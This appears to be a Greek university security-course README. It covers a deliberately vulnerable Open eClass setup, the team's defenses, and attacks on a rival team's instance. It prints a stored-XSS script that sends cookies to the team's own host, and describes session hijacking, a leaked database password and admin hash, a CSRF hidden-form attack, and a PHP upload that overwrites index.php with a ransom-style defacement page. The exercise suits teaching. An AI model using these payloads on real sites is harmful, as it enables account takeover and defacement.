Το repository αυτό περιέχει μια παλιά και μη ασφαλή έκδοση του eclass. Προορίζεται για χρήση στα πλαίσια του μαθήματος Προστασία & Ασφάλεια Υπολογιστικών Συστημάτων (ΥΣ13), μην τη χρησιμοποιήσετε για κάνενα άλλο σκοπό.
# create and start (the first run takes time to build the image)
docker-compose up -d
# stop/restart
docker-compose stop
docker-compose start
# stop and remove
docker-compose down -v
To site είναι διαθέσιμο στο http://localhost:8001/. Την πρώτη φορά θα πρέπει να τρέξετε τον οδηγό εγκατάστασης.
Στο οδηγό εγκατάστασης του eclass, χρησιμοποιήστε οπωσδήποτε τις παρακάτω ρυθμίσεις:
- Ρυθμίσεις της MySQL
- Εξυπηρέτης Βάσης Δεδομένων:
db
- Όνομα Χρήστη για τη Βάση Δεδομένων:
root
- Συνθηματικό για τη Βάση Δεδομένων:
1234
- Εξυπηρέτης Βάσης Δεδομένων:
- Ρυθμίσεις συστήματος
- URL του Open eClass :
http://localhost:8001/
(προσοχή στο τελικό/
) - Όνομα Χρήστη του Διαχειριστή :
drunkadmin
- URL του Open eClass :
Αν κάνετε κάποιο λάθος στις ρυθμίσεις, ή για οποιοδήποτε λόγο θέλετε να ρυθμίσετε
το openeclass από την αρχή, διαγράψτε το directory, openeclass/config
και ο
οδηγός εγκατάστασης θα τρέξει ξανά.
Εκφώνηση: https://ys13.chatzi.org/assets/projects/project1.pdf
Η προστασία του site από αυτού του είδους την επίθεση έγινε σε 2 στάδια. Αρχικά, παρατηρήσαμε πολλές από τις ενέργειες ενός χρήστη στα modules που αναφέρονται στην εκφώνηση αλλά και σε γενικές λειτουργίες του site και ασφαλίσαμε όλα τα σημεία, τα οποία προερχόντουσαν από κάποια είσοδο του χρήστη, είτε αυτό ήταν ένα πεδίο σε κάποια φόρμα, είτε απευθείας στο url ως παράμετρο είτε σε κάποιο request απευθείας στον server. Στη συνέχεια, ελέγξαμε μεγάλο μέρος του κώδικα του project για να ασφαλίσουμε όλα τα σημεία που τυχώς μας ξέφυγαν κατά το 1ο στάδιο. Τέλος, ασφαλίσαμε και όλες τις λειτουργίες που μπορεί να κάνει ο διαχειριστής, με τη λογική ότι αν κάτι μας διέφυγε και ένας κακόβουλος χρήστης, κατάφερνε να πάρει πρόσβαση στα στοιχεία του διαχειριστή, να μη καταφέρει να κάνει κάποια άλλη ενέργεια από αυτές που του επιτρέπει το site.
Η ασφάλεια έγινε με τη βοήθεια της βιβλιοθήκης mysqli
και συγκεκριμένα των συναρτήσεων, που θα βρεθούν σε διάφορα σημεία στον κώδικα:
$conn->prepare()
bind_param()
execute()
get_result()
fetch_assoc()
mysqli_num_rows()
Τα ακριβή αρχεία που έχουν ασφαλιστεί μπορούν να φανούν στα commits που έχουν γίνει, αλλά ακόμα και στα ονόματα των commits, μιας και σχεδόν κάθε commit, αφορά ένα αρχείο.
Για τη προστασία του site από αυτού του είδους την επίθεση έγινε κυρίως στα modules Εργασίες
και Ανταλλαγή Αρχείων
. Και στα 2 modules ακολουθήθηκαν οι παρακάτω λογικές:
- Αρχικά, τα αρχεία που γίνονται upload μετονομάζονται με τυχαία ονόματα, με τα οποία και αποθηκεύονται στον server. Το αρχικό τους όνομα αποθηκεύεται στη βάση δεδομένων, για κάποιο μελλοντικό download. Αυτό γίνεται για να μη μπορεί ένας κακόβουλος χρήστης να τα εντοπίσει.
- Στη περίπτωση
Εργασίες
, ακολουθείται η ίδια λογική και στην ονομασία του φακέλου της κάθε εργασίας. - Στη συνέχεια, κατά την αποθήκευση των αρχείων, αυτά μετατρέπονται σε .txt αρχεία, ώστε να μην είναι εκτελέσιμα (στη περίπτωση, για παράδειγμα, που κάποιος κακόβουλος χρήστης ανεβάσει κάποιο .php αρχείο ή παρόμοιας κατάληξης). Κατά το download, μετατρέπονται και πάλι στην αρχική τους κατάληξη.
- Τέλος, κατά τη δημιουργία φακέλων για κάθε course (κατά τη
Δημιουργία μαθήματος
), δημιουργείται σε κάθε φάκελο και ένα index.html, το οποίο απλά αναφέρει ότι ο χρήστης δεν έχει πρόσβαση στο folder. Αυτό συμβαίνει, ώστε ένας κακόβουλος χρήστης να μην έχει πρόσβαση να δει τα περιεχόμενα των φακέλωνwork
ήdropbox
.
To site στην αρχή δεν είχε καμμία προστασία για xss attacks. Προστέθηκε σε όλα τα modules η συνάρτηση htmlspecialchars() ή το alias q(). Επίσης χρησιμοποιήθηκε η βιβλιοθήκη htmlpurifier ώστε σε φόρμες που το body θα έπρεπε να είναι μορφοποιημένο(πχ bold,italic tags κτλπ) να παρουσιάζονται κανονικά στον χρήστη. Έγινε έλεγχος για την ασφάλιση απο XSS attacks και όταν γίνεται edit κάποιο modules. Επίσης ασφαλίστηκαν όλα τα κομμάτια του admin θεωρόντας πως αν ο επιτηθέμενος αποκτησει πρόσβαση, δεν θα πρέπει να μπορεί να εκτελέσει κανένα script-ακι. Τέλος η συνάρτηση htmlspecialchars εφαρμόστηκε και στην μεταβλήτη $_SERVER['PHP_SELF'].
Βρέθηκαν ευπάθειες απο XSS σε πολλά σημεία του αντίπαλου site.
Το κύριο XSS attack έγινε μέσω της περιοχής συζητήσεων. Στο "Περιοχες Συζητήσεων->Γενικές συζητήσεις" ανοίξαμε "Νέο θέμα" Έκει μέσω του εργαλείου "Μεταβασή σε κώδικα html" στο σώμα μηνύματος βάλαμε το script-ακι :
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET',
'http://securenet.puppies.chatzi.org/cookie_stealer_writer.php/?cookie=' +
encodeURIComponent(document.cookie));
xhr.send();
</script>
Στο http://securenet.puppies.chatzi.org/cookie_stealer_writer.php εχουμε φτιάξει ενα php script που παίρνει το cookie και το γράφει σε ένα αρχείο το cookie.txt.
Ύστερα στείλαμε μήνυμα στον admin να διαβάσει το θέμα στις περιοχές συζητήσεων. Στην συγκεκριμένη περίπτωση είναι το "Serious question for eclass enhanced" που περιέχει το XSS attack.
Αφου πήραμε το cookie του αντιπαλου με inspect->console και document.cookie = "το cookie που κλέψαμε" συνδεθήκαμε ως διαχειριστής.
Μέσω του http://hackmelikeyoudo.csec.chatzi.org/modules/admin/eclassconf.php βρήκαμε τον κωδικό της βάσης δεδομένων και το username. Ο κωδικός είναι Pf7xhe4jM7.
Έχοντας κωδικό ΒΔ συνδεθήκαμε στο http://hackmelikeyoudo.csec.chatzi.org/modules/admin/mysql/ username: root password: Pf7xhe4jM7
Απο την βάση δεδομένων στον πίνακα eclass.user πήραμε τον hashed κώδικο του admin ο οποιος είναι ο 0350dda90d4d6840b442c0bef46f7873
Ύστερα δώσαμε πρόσβαση ως διαχειριστή στον test user μας κάνοντας insert του user_id του στον πίνακα eclass.admin.
username: test password: password.
Θα αλλάζαμε και τον κωδικό του drunkadmin μέσω της σελίδας: http://hackmelikeyoudo.csec.chatzi.org/modules/admin/password.php αλλα κάποιο bug στον κώδικα του αντίπαλου site δεν ενημερώνει τον κωδικό στην βάση.
Ωστόσο ο κωδικός του μπορεί να αλλάξει απευθείας απο την ΒΔ αφού έχουμε πρόσβαση.
Το defacement έγινε μεσω RFI
Αλλα xss attacks που γίνονται είναι μεσω:
- xss στην αλλαγη του προφιλ μου. Εισάγουμε το script-ακι εκεί Ο admin μπαίνει σε μαθημα->στατιστικα χρησης->επισκεψεις χρηστων στο μαθημα και τρώει το xss
- Tηλεσυνεργασια, γράφοντας το script-ακι εκεί. Όποιος ανοίξει την τηλεσυνεργασία τρώει το xss attack
Για την αντιμετώπιση των CSRF παράγεται ένα τυχαιο token στο session, το οποίο στέλνεται απο ενα hidden field σε κάθε φορμα που στέλνεται. Ύστερα υπάρχει η συνάρτηση validate_csrf_token που ελέγχει αν έχει σταλθεί token και αν το token που στάλθηκε είναι το token που είναι αποθηκευμένο στο session.
Σε αυτό το σημείο αφού είχαμε δικαιώματα admin δεν χρειαζόταν να στέλνουμε email, όποτε πειραματιστήκαμε με διάφορα csrf attacks.
To κυριότερο ήταν να στείλουμε με mail στον admin έναν σύνδεσμο που τον έστελνε στο site μας http://securenet.puppies.chatzi.org/csrfattack.html.
Απο εκεί υπήρχε μια κρυμμένη φόρμα που έκανε post request στο http://hackmelikeyoudo.csec.chatzi.org/modules/course_tools/course_tools.php?submit=yes&action=2. Αυτό δημιουργούσε έναν νέο σύνδεσμο στο μάθημα. Για να εκτελεστεί με επιτυχία θα έπρεπε ο admin να έχει μπεί πρώτα στο μάθημα. Αυτό το καταφέραμε εύκολα με ένα iframe που έκανε request στο http://hackmelikeyoudo.csec.chatzi.org/courses/TMA104/. Πρώτα εκτελείται το iframe και μετά το post request απο κώδικα js. Ο html/js κώδικας μπορεί να προσαρμοστεί για να γίνει πιο πειστικός. Στην θέση του συνδέσμου θα μπορούσε να είναι ένα link σε δική μας σελίδα που θα κλέβει το cookie του αντιπάλου ή θα εκτελεί άλλα attacks
Προσπαθήσαμε σε διάφορα σημεία της εφαρμογής να βρούμε κάποιο κενό ασφαλείας για αυτού του είδους την επίθεση. Αυτό προσπάθησε να γίνει είτε μέσα από κάποιο πεδίο είτε από κάποια παράμετρο σε εκάστοτε url. Δε καταφέραμε να βρούμε κάποιο vulnerability, είτε από ορθή εργασία της αντίπαλης ομάδας στο κομμάτι της άμυνας από αυτή την επίθεση είτε λόγω κάποιας δικής μας αστοχίας στα attacks.
Για τη συγκεκριμένη επίθεση, αρχικά δοκιμάσαμε να παραβιάσουμε το module των Εργασιών
ή της Ανταλλαγής Αρχείων
. Παρότι είχαμε πρόσβαση
στο να διαβάσουμε μέσα στα folders που αποθηκεύονται τα αρχεία που γίνονται upload από τον χρήστη, δεν είχε κάποιο νόημα για εμάς, διότι
η αντίπαλη ομάδα είχε εφαρμόσει κάποιου είδους whitelist στη κατάληξη των αρχείων που μπορούσαν να γίνουν upload και άρα δε καταφέραμε
να ανεβάσουμε κάποιο αρχείο με κακόβουλο εκτελέσιμο κώδικα μέσα του. Αν το site θεωρείται μη λειτουργικό με τη χρήση της whitelist και
σε περίπτωση που δεν την είχαν εφαρμόσει, τότε θα μπορούσαμε να εκτελέσουμε τα αρχεία που ανεβάζουμε σε αυτά τα modules, μιας και μπορούμε
να τα διαβάσουμε.
Ύστερα, βέβαια από απόκτηση του κωδικού του διαχειριστή (επιτεύχθηκε μέσω XSS attack), καταφέραμε να έχουμε πρόσβαση στο /modules/import/import.php
μέσω του οποίου ανεβάσαμε ένα δικό μας αρχείο .php, το οποίο εκτελέσαμε και αλλάξαμε τη κεντρική σελίδα του αντίπαλου site, σε μία δική μας
index.php. Το συγκεκριμένο defacement, αναφέρθηκε και σε email που στάλθηκε στον drunkadmin.
Το php αρχείο που ανέβηκε ήταν αυτό που άλλαζε την αρχική σελίδα του αντίπαλου site.
O html κώδικας είναι ο παρακάτω:
<!DOCTYPE html>
<html>
<head>
<title>You have been hacked</title>
<style>
body {
background-color: #1c1c1c;
color: #e8e8e8;
font-size: 80px;
text-align: center;
margin-top: 200px;
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
}
h1 {
color: #ff5a5f;
text-shadow: 2px 2px 4px #000000;
}
p {
color: #f7b733;
text-shadow: 1px 1px 2px #000000;
}
</style>
</head>
<body>
<h1>You have been hacked by SecureNet</h1>
<p>We've taken control of your system and there's nothing you can do about it.</p>
<p>Your files are ours now. Pay up or suffer the consequences.</p>
<p>SecureNet doesn't mess around.</p>
</body>
</html>
Ύστερα ανεβάσαμε και το αρχείο με τον παρακάτω κώδικα:
$old_name = "newIndex.php.php";
$new_name = "/var/www/openeclass/index.php";
if(rename($old_name, $new_name)) {
echo "File renamed successfully.";
} else {
echo "Error renaming file.";
}
Μετά την εκτέλεση του παραπάνω κώδικα αλλάξαμε την αρχική σελίδα του χρήστη.